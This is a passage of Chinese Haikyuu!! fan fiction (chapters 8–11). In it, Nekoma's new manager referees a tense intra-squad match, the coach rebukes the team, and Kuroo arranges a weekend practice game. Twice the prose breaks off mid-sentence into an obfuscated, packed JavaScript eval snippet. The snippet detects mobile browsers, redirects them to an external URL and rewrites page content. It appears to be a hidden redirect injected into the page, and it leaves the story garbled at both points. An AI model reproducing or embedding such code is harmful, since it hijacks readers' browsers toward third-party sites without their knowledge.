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从学生会手里拿到部费后，藤原静流连续两个下午都在外面采购物资，只有快要训练结束的时候才能看见他的身影。 “藤原！”结束训练的黑尾铁朗撞见大包小包往活动室走的藤原静流，他说，“不用赶在我们训练之前回来，如果东西太多，要晚点给我发个消息就行了。” 活动室和体育馆的钥匙黑尾铁朗和高野康介各有一把，平时部员要等他们俩到了才能开门。 “好的，前辈。” 黑尾铁朗在心里叹息，他看出来了，藤原静流是不喜欢麻烦人的性格，嘴上答应得很快，实际遇见事第一反应是憋着，自己克服一下。 就像现在，购物袋子勒得藤原静流手都发青了，但他依旧一声不吭。 用研磨的话说，就是好感度太低，触发不了特殊剧情。 不过没关系，已经逐渐往社交恐怖分子发展的黑尾铁朗会自己开支线，他十分自然地从藤原静流拿过沉重的箱子：“我帮你。” 藤原静流卡了一下，说：“谢谢。” 物品放入储物柜，发票和剩余的钱交给鹤田教练，藤原静流看着全部划掉的物品单，排球部第一次日常物资采购完成！ 剩下还有一个洗衣房的问题没有解决，等周末再说吧。 转天早训，藤原静流将购买电解质粉赠送的杯子灌满饮用水带到体育馆，递给结束训练的部员们。 “大家可以在带子上做标记，以后用的时候就不会弄混了。” 这类部费采购回来的日常用品属于社团资产，部员不能私下带走，统一由藤原静流这个经理管理。 这么规定更多是为了避免一些麻烦，毕竟像毛巾水杯之类的物品，价格不算贵重，就算有部员不小心弄坏了弄丢了也不会怎样。 但有一就有二，次数多了不起眼的小事也会变成麻烦，因此规定社团物资由经理统一管理。 藤原静流还贴心地准备了记号笔，等部员补充完水分，拉伸放松好后，鹤田教练踏入体育馆，宣布了一个消息：“今天下午打队内练习赛。” 如黑尾铁朗所预料的那样，孤爪研磨的名字出现在练习赛名单上。 —— 8. 第八章 鹤田教练宣布本次队内训练赛成员名单，一直到最后，山本猛虎都没有听到自己的名字，他垂在身侧的手攥紧。 “孤爪是谁来着？”有人发出疑惑。 “孤爪是那个新来的二传啊，都在一起训练好几天了，你怎么名字都还没记清……” 作为名单里唯一的一年级新生，不少人朝孤爪研磨投来视线。 鹤田教练没有去管部员的想法，对着藤原静流嘱咐道：“经理，这次练习赛你负责裁判，下午早点到，布置好场地后记得跟其他人解释一下规则。” 这个规则指的不是比赛规则，而是排球裁判的手势，旗示以及哨音。 藤原静流接下任务：“好的，鹤田教练。” 就这样，刚结束完采购任务的藤原静流，又开始新一轮的忙碌，没什么裁判的经理还偷偷在课堂上复习了一遍裁判手势和比赛规则。 排球比赛需要一个主裁，一个副裁，还有四个司线员，练习赛当然不用那么正式，有多少裁判取决于人数。 像这次练习赛，就是藤原静流负责主裁，另外四个新生当司线员，要是社团里真的没人一个主裁也可以。 “背号服，计时器，记分板……” 黑尾铁朗站在活动室门口换鞋，视线落在藤原静流脸上架着的细框眼镜：“哦豁，经理，新造型呀！” “怎么忽然戴眼镜了，你近视？” 藤原静流正在清点着练习赛要用得到的物品，闻言随口回了一句：“嗯，有点。” 藤原静流是轻度近视，没有影响到日常和运动，因此只有坐在后排上课或者看书打游戏时会戴眼镜。 之前打排球的时候藤原静流也不戴，那一点清晰度对他的技术没有任何改变，反而会让危险性直线升高——哪怕你技术再好也无法保证自己没有用脸接球的时候。 但裁判要看清楚这9m*18m场地上正在进行的比赛，藤原静流现在这个看另一侧标志杆都模糊的情况肯定不行，就算有边裁辅助，实际判分的权利还是在主裁手里的，他不希望因为自己的问题导致练习赛出现差错。 主裁面前就是标志杆，倒不用那么担心发生意外——更重要的是，在赛场上看见球过来他不能躲，但裁判可以！ 将训练赛要用的东西装进收纳箱，藤原静流起身，注意到站在角落的孤爪研磨没有遮掩的膝盖。 虽然二传一般不参与接发，但比赛情况复杂，不可能所有一传都是A传，难免有需要救球或者被迫接一传的时候。 “研磨君不穿护膝吗？” 孤爪研磨慢吞吞地说：“嗯，不太习惯，而且穿着很闷，不太舒服。” 藤原静流刚开始也不喜欢穿护膝，新人时期技术不成熟，又没轻没重，后面膝盖和地板亲密接触了几次就老实了。 不行了，想象力太丰富就这点不好，膝盖隐隐约约有点幻痛的藤原静流语气关切地提醒：“……不穿护膝的话，研磨君比赛时要小心一点，对于运动员来说膝盖很重要，如果有什么不舒服的地方可以跟我说。” 孤爪研磨视线从屏幕上移开，看了他一眼：“我会注意的。” 正在换衣服的黑尾铁朗听到这句话，想想高中联赛时遇见的那一群怪物，再看看自家研磨的体型，他觉得经理说得有道理。 站在他旁边的夜久卫辅：“……” “我早就想说了。”夜久卫辅露出嫌弃的表情，“黑尾，你是孤爪的妈妈吗？” 黑尾铁朗解释：“我只是在担心研磨体力不好，要是受伤了怎么办……” 夜久卫辅抓住重点：“孤爪才来排球部第一个星期，你就开始担心对方比赛受伤了？连交个朋友都要露出欣慰的表情……你还说自己不是孤爪的妈妈！” 黑尾铁朗语气友善道：“我是副主将，关心队员是应该的！” “啧……”夜久卫辅指着膝盖，“可是你自己都不穿护膝吧？！” 黑尾铁朗有理有据地反驳：“我是副攻啊。” 虽然音驹以超高的接球防守著称，曾被调侃排球场上站了五个自由人，黑尾铁朗本人的接球水平也非常不错，但副攻就是副攻！ 满场打滚的自由人：“？？？” 所以你一个副攻在担心二传接球受伤？也没见你关心关心我啊！ 然后夜久卫辅脑海里不由自主地浮现黑尾铁朗温柔安慰自己的场景…… 哦，他冷漠地把刚刚冒出的想法摁了回去，算了，这种伤敌一千自损八百的办法，还是不要了吧。 “夜久，教练肯定不会把我们放到同一队的。”黑尾铁朗笑嘻嘻地揽上自由人的肩膀，“如果研磨和你分到一起……” 夜久卫辅伸出两根手指：“这已经是你第二次向我托付你那体力不行的幼驯染了。” “我会努力做好一个自由人该做的事情，至于其他的……就要看孤爪自己的表现了。” 虽然从之前的训练看，孤爪研磨的传球没什么大问题，但二传在场上要做的可不仅仅是传球。 体育馆里，藤原静流正准备给新人讲解边裁，也就是司线员的规则和旗示。 “……总之，你们重点就看球的落点是在界内还是界外，遇见不懂的就过来问我，间塗君看我的手势翻记分板。”藤原静流耐心询问，“还有什么不懂的地方吗？” “那个。”新人弱弱地举手，“我们连比赛规则都没搞清楚，当裁判真的没问题吗？” 藤原静流笑着安抚：“没问题，记住我说的就可以，不用紧张，其实边裁没你们想得那么难。” 话是这么说，他私底下又找到山本猛虎和福永招平，麻烦他们两个有经验的多关注一下比赛情况。 倒不是怕新人记不住，边裁总共就五个旗示，比赛流程也不在司线员的职责之内。 藤原静流比较担心的是临场反应，在现场看和电视上看比赛是不同的感觉，在电视上可能会觉得这个球也不快，为什么对面就没接到？ 但在现场，你能感受到从击球到落地完全是一瞬间发生的事情，有时候一个眨眼一个回合就结束了，新生可能跟不上比赛节奏。 确定体育馆这边没什么问题后，藤原静流看时间还早，回活动室提前将电解质水准备 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察觉到视线，黑尾铁朗转过头冲着他露出一个笑容，孤爪研磨目光一顿，觉得小黑这个表情格外的……阴险。 比赛开始之前—— 黑尾铁朗特地和队友说了孤爪研磨的发球习惯：“虽然研磨发不出极具威胁性的大力跳发，但他的发球很精准刁钻，在不熟悉的情况，他会选择往前场发，或者往底线发，总之就是尽量打乱我们的一传。” B队没有自由人，二年级接应海信行问道：“那我们提前往那边靠？” 黑尾铁朗摇了摇头：“研磨的头脑很聪明，他看到我们的站位，一定会第一时间反应过来……还是常规接球阵型吧。” 虽然没有改变阵型，但孤爪研磨大概也会察觉到什么，作为幼驯染黑尾铁朗知道对方的洞察力有多厉害，为了“更好接球”摆出的阵型可能会被对方利用，那索性以不变应万变。 有自己提前提醒，就算位置刁钻，以他们的接球水平也不会完全反应不过来。 其余人听得头晕，这是什么你预判了我的预判，我知道你预判了我的预判，你知道我预判了我的预判的预判…… ——Stop！给我干哪里了？我们打的是同一个排球吗？ 孤爪研磨凝视着对面的阵型，从表情完全看不出他准备往哪里发球。 时间一分一秒地过去，孤爪研磨卡在最后一秒将球抛了出去，排球越过网向着前场飞去。 “我来！” 经过黑尾铁朗的提醒，海信行早就做好了准备，此刻他的眼睛盯着排球确定落点，脚步迅速向前迈了几步，稳稳接住了孤爪研磨的发球。 一传半到位，有点近网但问题不大，站在网前的木村宏光原地起跳，和副攻配合打了个近体快攻。 “砰——” 对面拦网起跳慢了，攻手直接起跳空网扣球，扣球得分！ “Nice！” 和欢呼一同响起的是哨声，站在裁判台上的藤原静流吹哨，右手抬起指向B队示意得分。 —— 9. 第九章 发球权轮换，间塗护看见藤原静流手势，连忙翻动记分板。 第一次上场就敢这么发，藤原静流不得不佩服孤爪研磨的大心脏，压哨发球不单对手，发球员本人同样承担了很大的压力。 发球时间是8秒，赛场上的球员看不见计时器，压哨发球只能靠自己读秒，要是第一个发球就读秒出错，那对后续比赛的状态或多或少都有些影响。 “Don''t mind！Don''t mind！” 高野康介作为队长，开口安慰大家：“这一球没反应过来是正常的，过去就不要再想了，将重点放在下一球。” “发个好球！” B队的人双手抱头站在网前大声道。 孤爪研磨站在前排主攻的后面，他的左斜后方是夜久卫辅，这个站位对面很难通过逼二传接一传的方式打乱进攻。 音驹排球部会跳发的球员没有几个，更多的还是上手发球，夜久卫辅双手伸直，将球垫向前场。 孤爪研磨来到网前视线紧紧盯着排球调整脚步，大脑在思考该怎么传。 “右边！” 高野康介一边往后退一边举手喊道。 和在一起打了两年球的木村宏光不同，他们不熟悉孤爪研磨，主动开口要球可以减少二传失配的情况发生。 听见声音，孤爪研磨没有犹豫，一个背传将球传向2号位。 高野康介助跑两步跳起扣球，无奈球路太正，而他这一喊，也变相提醒了对面的拦网。 黑尾铁朗直接跟进，扣球被拦网拦下，夜久卫辅一个鱼跃，再次将球救起！ “Nice receiving！” 藤原静流叼着口哨，目光注视排球。 现实的排球比赛远没有漫画那样详细地描绘每一个细节，没有热血沸腾的bgm，也没有正式比赛的观众应援加成。 大部分不太了解排球的人去看一场比赛，整局下来可能就记住个王牌和自由人，前者是因为精彩的扣球，后者是因为不同颜色的衣服。 你问二传？ 王牌，也就是主攻是场上存在感最高的位置，或者说这个位置就是要打出那种“无论面对几人拦网，我都能扣死”的压迫感，被观众与对手的目光追随着。 而二传这个位置要是被大家关注，要么上赛事精彩bot，要么上失误合集。 比如现在，海信行往边线跳发，夜久卫辅一个鱼跃勉强救起，排球落在手掌上高高弹起！ “抱歉，补救！” 球是救到了，但一传近网，这个位置发动不了进攻，只能选择处理过去。 网前的孤爪研磨起跳，可恶，从动作上完全看不出他下一步会怎么做！ B队拦网跟着跳，这个情况孤爪研磨要么把球交给攻手去处理，要么尝试吊球——但面对双人拦网，吊球被封死的可能性很大，而后排的海信行也在盯防4号位的主攻。 就在众人以为他要把球传出去时，孤爪研磨选择将排球往斜后方轻轻一拨，球擦着网掉入B队的场地。 谁都没想到孤爪研磨在面对双人拦网时，居然还敢二次进攻，黑尾铁朗努力伸长手也没够到这个球，只能眼睁睁看着排球落地。 “滴——” 对手得了一分，黑尾铁朗却笑了起来：“不错嘛，研磨。” 孤爪研磨没有说话，视线静静地通过球网看向对面场地，而这是他本局比赛中最亮眼的表现。 第一次配合，孤爪研磨又不是擅长社交的性格，这一局比赛里大多是谁要球他就把球传给谁——如果两个人同时要，就传给自己认为更能得分的那个。 第一局结束，孤爪研磨站在场边调整呼吸，目光落在木村宏光身上，和小黑形容的一样，这位三年级的二传技术，用一句话形容就是均衡，没有什么特别突出的地方，也没有什么问题。 但再平平无奇的人，也有属于自己的习惯…… 据孤爪研磨观察，木村宏光很喜欢打快攻，不喜欢用背飞，给4号位传球最多，特别是背号为3的主攻手在前排时，给他传球的概率是80%。 他们这边拦网比不上对面，黑尾铁朗的优秀之处在作为拦防体系的第一线，他不但能抓住机会拦死对面，还能稳定维持拦防体系运转。而他们这里甚至出现好几次空网的情况，全靠自由人力挽狂澜也不切实际…… 被点名的副攻脸色不太好看：“孤爪，怎么跟前辈说话的？！” 孤爪研磨深吸一口气：“前辈，我只是在和你们分析情况，讨论下面该怎么打。” 他们已经输一局了。 结果这句话又不知道怎么戳中了对方，看着生气的前辈，孤爪研磨：“……” 本来就不擅长交流，偏偏还遇上最讨厌社交的类型之一……好累。 “好了好了，都少说几句。”高野康介将人拉开，“教练还在旁边看着呢，你想被罚下场吗？” 副攻面色不愉地队长被按在凳子上。 高野康介转头看向孤爪研磨，语重心长地说：“孤爪，比赛没你想得那么简单，你要学的还有很多……你上局就做得不错，继续保持就好。” 言下之意，孤爪研磨继续当个听指令传球的工具人就好了。 但这样的话比赛必输无疑。 黑尾铁朗了解孤爪研磨，孤爪研磨自然也了解黑尾铁朗，他的应变拦网熟练度很高——也就是在二传把球传出去之后再进行的拦网。 这让孤爪研磨很难通过一些身体诱导甩开他的拦网，除非打快攻，或者梯次进攻。 按照他们现在的配合方式，别说打快攻了，不失配都是因为他们实力还行，自由人一传到位，不需要过多调整，然后二传给个位置不错的高球，让攻手自己去调整……简单来说，没有配合，全靠技术。 而这么配合的弊端就是，不用等孤爪研磨的传球，副攻可以提前来到攻手面前，有充足的时间准备拦网。 然后—— “Kill block！” 直接单人拦死对面。 孤爪研磨叹了口气，这场比赛打得他简直身心俱疲。 “……那个，前辈们。” 时刻关注场上动向的藤原静流自然注意到A队异样的氛围，紧接着体育馆里爆发出一声怒吼。 “喂喂喂！这自以为是的语气——你是在命令前，辈，们吗？！” 所有人的视线都汇聚过来，坐在裁判台上的藤原静流皱了皱眉。 只见高野康介双手环胸，神情冷漠地站在 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鹤田教练就坐在藤原静流身后看着场上的一举一动，站在发球线上的人立刻收回好奇心，开始准备发球。 比赛继续，但A队自那次争执过后，就弥漫着一种奇妙的氛围，六个人明明共同站在网的一边，却感觉比在餐馆拼桌的陌生人还要生疏。 队伍人心不齐，二传和其他人没有任何交流，大部分成员的心思也完全不在比赛上面了，现在的比分已经到了一个B队稳赢的情况。 在第三次出现二传失配情况后，鹤田教练叫了暂停。 “不用再打了！” 所有人都停一下手里的动作，眼神紧张地看着教练。 鹤田教练从比赛中途脸色就不太好看，此刻他目光冷漠地扫过场上的成员。 “开学第一天，我问你们今年的目标，你们回答我要打入全国大赛——你们看看你们现在在干什么？！”他说，“是对自己的实力很满意，觉得自己肯定能打赢井闼山和枭谷了？” “呵呵，再这样下去别说全国大赛了，能不能撑到预选赛第二轮都悬！” 体育馆里寂静无声，所有人都低着头不敢看教练的脸。 鹤田教练对着三年级斥责道：“我不管你们之间有什么矛盾，都给我留到私底下解决！再让我看见你们比赛打成这个样子，就全都给我不要上场了！” “是！” 鹤田教练又将视线移到孤爪研磨身上，深深凝视片刻后，他说：“作为二传要多和队员进行沟通，不然再好的技术和队伍配合不上也没有用。” “……是。” 孤爪研磨正是知道这点，才会选择说出来，但显然，那些所谓的前辈无法容忍后辈的“指手画脚”。 紧张的氛围稍微缓和了一点，藤原静流顶着压力开口：“鹤田教练，练习赛还继续吗？” 原本计划打三局两胜制，结果第二局才打一半呢…… “今天就到这里，你们全都给我回去好好反省。” 鹤田教练撂下这一句话后转身离开，然而排球部的矛盾并没有就此结束。 —— 10. 第十章 “我回来了——” 藤原静流推开门，在玄关处换鞋。 “今天回来那么早？” 妈妈的声音从客厅远远传过来，自从加入排球部后，藤原静流都是晚上七八点才到家，现在这个时间才刚结束部活。 “嗯，下午打练习赛，结束得早。” “厨房有切好的水果，晚上我们吃咖喱饭，怎么样？” “都可以。” 藤原静流兴致缺缺地上楼，将书包随手一扔，自己则摔到了床上，发出一声悲鸣：“漫画里都是骗人的！” 从接触排球是第一个星期，藤原静流就知道自己注定成为不了主角，但没想到，连热血青春这个分类他都进不去——如果和讨厌的人来一场自由搏击的话，算不算热血青春？ 嗯，热血是热血了，就是后续要变成法制频道了。 藤原静流看着书架上的排球漫画，回忆起几十分钟前体育馆令人窒息的氛围：“可恶啊，这个世界上真的存在那种前辈和小太阳吗？为什么我遇不到？！” 和某些在竞技体育里强调前后辈文化，以年长者的身份压人的人，黑尾铁朗都算温柔善良的前辈了。 呜呜呜呜，藤原静流决定了，要是下次黑尾前辈再说自己一向待人热忱时，他一定坚决拥护他，而不是在心里偷偷吐槽！ 更悲催地来了，他明天还要去排球部。 藤原静流将脸埋进枕头里，纵使他再抗拒，也不得不接受现实。 该庆幸他是经理吗？不用站在比赛场上和那些前辈交流…… 藤原静流是因为被漫画里的故事吸引，憧憬，才选择加入排球社，如果和这种前辈同队，他的幻想绝对会破灭吧？！ 说到这个，研磨君今天的表现简直颠覆了藤原静流对他的印象，原以为对方是那种不擅长交流的社恐人设，没想到在排球上显露出了不一样的一面，意外的……冷静坚持。 对于藤原静流的评价，孤爪研磨表示，他装的。 有些人看似冷静，实际是没招了。 当时那个情况，孤爪研磨除了贯彻自己沉默寡言的人设，还能怎么办呢？辩论已经确定无效了，总不能和前辈来一场自由搏击吧？ 好麻烦…… “如果想要一个传球工具的话，随便找个人就好了吧。” 孤爪研磨难得没有玩游戏机，视线透过窗户看向外面不断后退的建筑。 IH预选赛肯定是三年级的二传上，至于替补……实在不行从新生里找个球感好的，反正想要让孤爪研磨当一个传球工具人，他做不到。 ——这样的游戏，哪怕赢了下来，也一点意思都没有。 ——而无聊的游戏，就没有继续的必要了。 “我知道。”黑尾铁朗坐在孤爪研磨身边，嗓音一如既往的沉稳，“研磨你的二传技术很好，但如果因此将你当成一个传球工具的话，才是真正的暴殄天物。” 孤爪研磨，拥有比他优秀的二传技术更独特的天赋。 二传是队伍进攻的核心，一个优秀的二传会负责协调队伍，分配球权，而在此之前，孤爪研磨也完美地胜任了这个位置，哪怕他的体力不算好，可队伍里没有人敢小瞧他。 “我从很早之前就知道研磨你拥有着怎样超乎常人的观察能力，和无论比赛处于何种境遇之下都能冷静做出正确决策的战术思维——正是因为知道，我才一直期待研磨来音驹，期待研磨能成为排球部的大脑。” 孤爪研磨瞳孔一缩：“大，大脑？” “研磨，你也觉得这个称呼不错，对不对？”黑尾铁朗摸了摸下巴，“我原本想说参谋的，但感觉太大众化了，一点也不独特，结果这么灵机一动——欸，是不是超级棒！” 孤爪研磨：“……” “一点也不。” 在孤爪研磨年少无知的时候，被小黑左一句参谋，右一句指挥家哄得找不着北，从此开启了排球二传支线。 而现在，孤爪研磨表示自己已经过了中二的年纪了。 被否认了黑尾铁朗依旧没有泄气，反而自我感觉良好：“明明就很棒啊！” 孤爪研磨无情评价：“小黑的品味好差。” 黑尾铁朗凑近：“哇哦，研磨，我看见你耳朵红了，你明明很喜欢吧！” “才没有。” 虽然黑尾铁朗了解孤爪研磨，但这句话显然是在胡言乱语，他耳朵为什么红黑尾铁朗心里难道没有点数吗？ “有。” “没有。” “有。” “没有。” “……” “……欸。” 星期六上午，藤原静流拖着疲惫的身躯到达了学校。 昨天一晚上他都没睡好，在床上翻来覆去半天，最终选择爬起来打新买的游戏，然后被自己丑陋的操作整破防，更睡不着了。 我果然不适合太吃操作的游戏。 看着自己操控的人物被新手教程里的狗龙拍死，好不容易快要杀死，眼睁睁看着它忽然掉头跑掉，自己拼命都追不上的藤原静流面无表情地想。 然后抱着“我不能新手教程都过不去吧”的心态再次重开。 在接触ACG后，藤原静流就对轻小说和漫画展现出了极大的兴趣，喜欢的游戏也偏向文字类型，如GalGame。而对于角色扮演类型的RPG游戏，他也更喜欢侧重剧情叙述的JRPG，需要操作的ARPG不在他的守备范围内——绝对不是因为玩这种游戏他毫无游戏体验。 虽然不常玩，但偶尔藤原静流还是会被宣传片吸引过去，然后购买游戏卡带，打开，破防，放到角落吃灰……接着在不知道什么时候想起，翻出卡带后再次循环这个过程。 但也不是没有好处，比如被游戏整破防后，他都没心思去想昨天下午发生的那些烦心事了哈哈…… 藤原静流苦中作乐地安慰自己，身后传来急促的脚步声，他回头发现是山本猛虎。 四月份的东京还有点冷，藤原静流套了件外套在外面，而山本猛虎则是一身黑色的短袖短裤，体育生的朝气迎面扑来，和昨天没睡好死气沉沉的自己仿佛是两个图层的人。 “经理来了啊！” 山本猛虎打了个招呼，他的气息起伏很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595838|187443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大，额头上也有细密的汗，看样子跑了有一段时间。 “山本君，早上好。” 藤原静流下意识看了眼表：“训练已经开始了吗？” 山本猛虎原地踏步：“没有，我在晨跑。” 好勤奋。 虽然藤原静流这个星期的下午部活没有去，但从早上的训练就可以看出来，山本猛虎是个很勤奋认真的人。 每次训练都认真完成，甚至还会主动加训，可以说是排球部训练量最多的人了。 “经理是要去活动室吗？”山本猛虎看着藤原静流身上的大挎包，提醒道，“黑尾前辈还没来，活动室的门还没开。” 藤原静流道谢，决定先找个地方坐会儿，山本猛虎则继续绕着学校晨跑。 这是第几圈了？如果我没记错的话，周末训练时间是上午九点到下午四点来着吧？ 藤原静流迟疑，山本君这一天下来确定不会训练过度吗？ 对方接触排球这项运动的时间比他长，心里应该有数吧？ 纠结几秒，藤原静流很快将这件事抛之脑后，从包里拿出本周的周刊连载漫画杂志，在第二个连载漫画看到一半时，黑尾铁朗到了，他拿出钥匙打开活动室的门，一瞬间空荡荡的活动室里涌入了好几个人。 藤原静流站在门口，没有跟其他部员抢位置：“人都到齐了？” 怎么一个三年级的前辈都没看见？ “是啊，新生应该都到了吧？” 黑尾铁朗数了数，确定人到齐了。 “藤原，你一个人收拾活动室任务会不会太繁重了？”黑尾铁朗问。 “其实还好，活动室每天都有在收拾。” 藤原静流在心里估量了一下：“前辈放心，今天肯定能搞好。” “我想了想，还是我们大家一起弄快一点。” 藤原静流一愣：“前辈……”其实不用这样。 “其实我也有私心啦～”黑尾铁朗说出自己的计划，“我想下午打场练习赛，让大家都熟悉熟悉。” 藤原静流了然：“需要我当裁判吗？” “不是，我们缺人。” 周末训练，二年级有四人，一年级有五人，其中两个是这个星期才接触的排球。 黑尾铁朗笑眯眯地开口：“我听研磨说，藤原之前是二传吧？” “呃……前辈想让我打二传？” “是啊，加上你，我们正好凑个5vs5。” 藤原静流有些惊讶：“可是，间塗君他们这个星期才刚接触排球，直接上场是不是太快了？” “没关系啊，谁不是从新人走过来的。”黑尾铁朗语气带上了几分认真，“我想，还是要让大家感受一下真正站在比赛场地上的感觉，而不是以一个旁观者的身份——哪怕这只是一场非正式的练习赛。” 其实很多时候，劝退新人的不仅仅是枯燥的体能训练和基础训练，还有站在同一个体育馆里，却与其他人格格不入的氛围。 “初学时，要先品尝成功的喜悦才行——这是一位对我来说非常重要的老师告诉我的。*” —— 11. 第十一章 如果现实是游戏，那么大概能看见「藤原静流好感度up～」的提示。 虽然看不见好感度提示，但黑尾铁朗注意到在他说完这句话后，藤原静流看他眼神都不一样了。 黑尾铁朗趁热打铁：“藤原，来吧，我们真的很需要你！” 藤原静流没怎么犹豫，点头同意了邀请。 反正他加入排球部的初衷，其中就有想要打排球的时候可以找到人，业余球队有固定的圈子，俱乐部做不到按时，野场打了几次感觉不太适应，后面就没怎么去了…… 等等，藤原静流忽然想到一件非常严肃的事情，我有多久没打过排球比赛了？ 国三第二学期，藤原静流退出排球部，刚踏出体育馆，他就把什么体能基础训练抛之脑后，抱着“我就休息几天”的想法，休息到了毕业春假。 这几个月时间也不能说完全没碰过排球，藤原静流偶尔还是会和朋友约着玩玩，或者加入陌生人组的局。 上一次打比赛，应该是在春高？ 当时他去东京体育馆看春高联赛，回来后就按捺不住摸到家附近的市民体育馆，来了一场热血排球！ 距离上一次比赛已经三个多月，虽然在假期确定高中要加入排球之后，藤原静流重新捡起之前的基本功训练，但黑尾铁朗毫无征兆地提出打比赛，他还是有点心慌—— 好歹让他先找回一些手感啊！ 啊呜，为什么没有天降系统带着时停空间来找他，这样藤原静流就可以表面打游戏不训练，背地里偷偷内卷，然后惊艳所有人…… 藤原静流表情空白，看起来像是在发呆，没人知道他的思绪已经飘到什么鬼地方去了。 黑尾铁朗敏锐地察觉到藤原静流的异样：“不用紧张，我们私底下没那么正式，更何况还有两个新人呢，当娱乐赛打就好了！” 万一我打得还不如新人怎么办……打住，这担心得有点太早了吧！ 藤原静流深吸了一口气，为了转移注意力，开始没话找话：“嗯，前辈，这件事跟其他人说了吗？” “还没有，呃，不过我感觉他们已经知道了。” 自从两人开始交谈后，活动室就渐渐安静下来，大家都在沉默地听墙角，换个衣服三分钟过去了，手还拽着下摆没往上撩。 黑尾铁朗来到门口拍了拍手，将所有人的注意力吸引过来：“好了，既然大家都听见了，那等会搞卫生的时候认真点，快点搞完，上午还能去体育馆训练一下。” “用完午饭后半个小时，开始热身，打练习赛。” “是！” 藤原静流换鞋进入活动室，将挎包放到置物架上，然后将里面的清洁工具往外面一件一件拿。 黑尾铁朗扫了一眼：“……我还以为研磨是夸张。” “前辈，你在说什么？”藤原静流困惑地看了过来。 “没什么，开始吧！” 藤原静流原本预估要一天才能完成的工作量，在排球部其余人齐心协力下，一个小时多就完成了。 “好了，体育馆那边的门已经开了，大家和往常一样去做热身吧。” 直到进体育馆，藤原静流才后知后觉，他没准备排球鞋和训练服啊。 外套可以脱，但下面是长裤和室内鞋。 藤原静流纠结两秒钟，问题不大，在野场的时候他还见过穿拖鞋上场的呢。 黑尾铁朗看着两个新人：“我记得你们已经进行过原地扣球训练了吧？” “是的。” “那等会儿你们先原地扣球，找找感觉，然后让研磨和藤原帮忙拖个球，你们两个试试上步扣球。” 间塗护紧张地声音都在发抖：“那个，前辈，我们连原地扣球都扣不好……要不我还是帮忙记分吧。” 想说的话说出来了，但他心里的紧张并没有消退，甚至还有一抹未察觉的期翼，他在期待什么？是黑尾前辈的拒绝，还是同意？ 黑尾铁朗没有正面回答这个问题，而是笑眯眯地问道：“难道你们不想试试站在场上的感觉吗？” 两人没有说话，怎么会不想？ 他们来加训不就是想练好技术，然后能上场吗？ 现在机会就摆在他们面前，可是…… “不要想那么多，都说了是娱乐赛，打得不好失误就说抱歉，然后将注意力都放到下一个回合——你们是新人，没有人会过多苛责你们。” 黑尾铁朗拍了拍两人肩膀：“与其胡思乱想，不如将心思放到接下来的基础训练上。” 简单的热身后，藤原静流和孤爪研磨一人一边，站在网侧开始托球。 “太低了。” 黑尾铁朗将排球吊过去后，转过头对藤原静流说：“藤原，你是不是没活动开，还是太久没训练了？怎么感觉传球没什么力气？” 也有这个原因吧，藤原静流不好意思说，但自己活动开也好不了多少。 你指望一个前十四年都是个不爱运动的私斋，接触排球半年能变成超级赛亚人吗——孤爪研磨国小的时候就开始打排球了，对方的体力条也没有涨到体育生平均水准！ 当然这不是藤原静流传球看起来没力气的重点，毕竟这才刚开始呢，体力条就算短也没那么快耗尽。 藤原静流的核心问题是，他是手腕和手指没有力量——这也是他喜欢用垫传和跳传的原因。 怒所中学有一个同样手腕非常柔软的主攻手，但藤原静流和对方不同，佐久早圣臣手腕柔软是天赋，并不是没有力量，而藤原静流是单纯的没力量。 特别是在握了几个月的笔后，他原本有点起色的体能又回归原点。 为了弥补手部力量不足，藤原静流选择：“我跳传吧。” “等等。”黑尾铁朗弯腰从网下穿到对面场地，“我扣球，你拦网给我看看——用拦死的那种。” 藤原静流不明所以地做好准备，对面的黑尾铁朗将球一抛，对着拦网扣球。 排球砸向藤原静流的指尖，向后排飞去，这么看就很直观了，黑尾铁朗吐槽：“……好无力的拦网。”他都没用尽全力。 “研磨的拦网威胁性都比你大！” 藤原静流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595839|187443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉手腕的动作一顿，不知道为什么，他居然感到一分羞愧，而其他人也非常震惊。 大概是因为孤爪研磨的有气无力是摆在明面上，而藤原静流平时看起来就是个身体素质不强，但也还过得去的普通人。 导致他们对藤原静流拦网居然比不过孤爪研磨这一点感到震惊——醒醒！研磨可是能跑完五公里，坚持打完三局比赛的人啊！ 黑尾铁朗也是没想到，他看好的二传和未来替补二传，全是体力废！ 在震惊，怀疑等一系列情绪后，他释怀了。 藤原静流调整好心情，抬头就看见笑得莫名其妙的黑尾铁朗，理智让他别深究，转身去排球框里拿排球。 时间不早了，他需要赶快熟悉球感，适应场地和攻手。 后续藤原静流大多在用跳传，偶尔用上手传球和垫传，毕竟比赛情况复杂，不可能每个球都到他头顶上。 半个小时后，藤原静流的呼吸已经急促起来：“前辈，我可能撑不到练习赛了。” 黑尾铁朗：“……” 孤爪研磨紧跟其后，申请休息几分钟。 黑尾铁朗：“…………” 黑尾铁朗面无表情地说：“你们去给新生托球休息休息吧。” 这难度不是更大了吗？！ 两个人的无声抗议并没有被采纳，他们只能拖着疲惫的身躯来到体育馆的另一侧。 “藤原君，孤爪君。”间塗护腼腆地笑了笑，“麻烦你们了。” 看着前辈姿势那么帅气流畅地上步扣球，新人们说不憧憬是不可能的，但真的轮到自己了却手忙脚乱起来。 要么压根碰不到排球，要么起跳后完全将刚刚前辈教过的姿势忘记，以一种奇怪的姿势将球给拍过去。 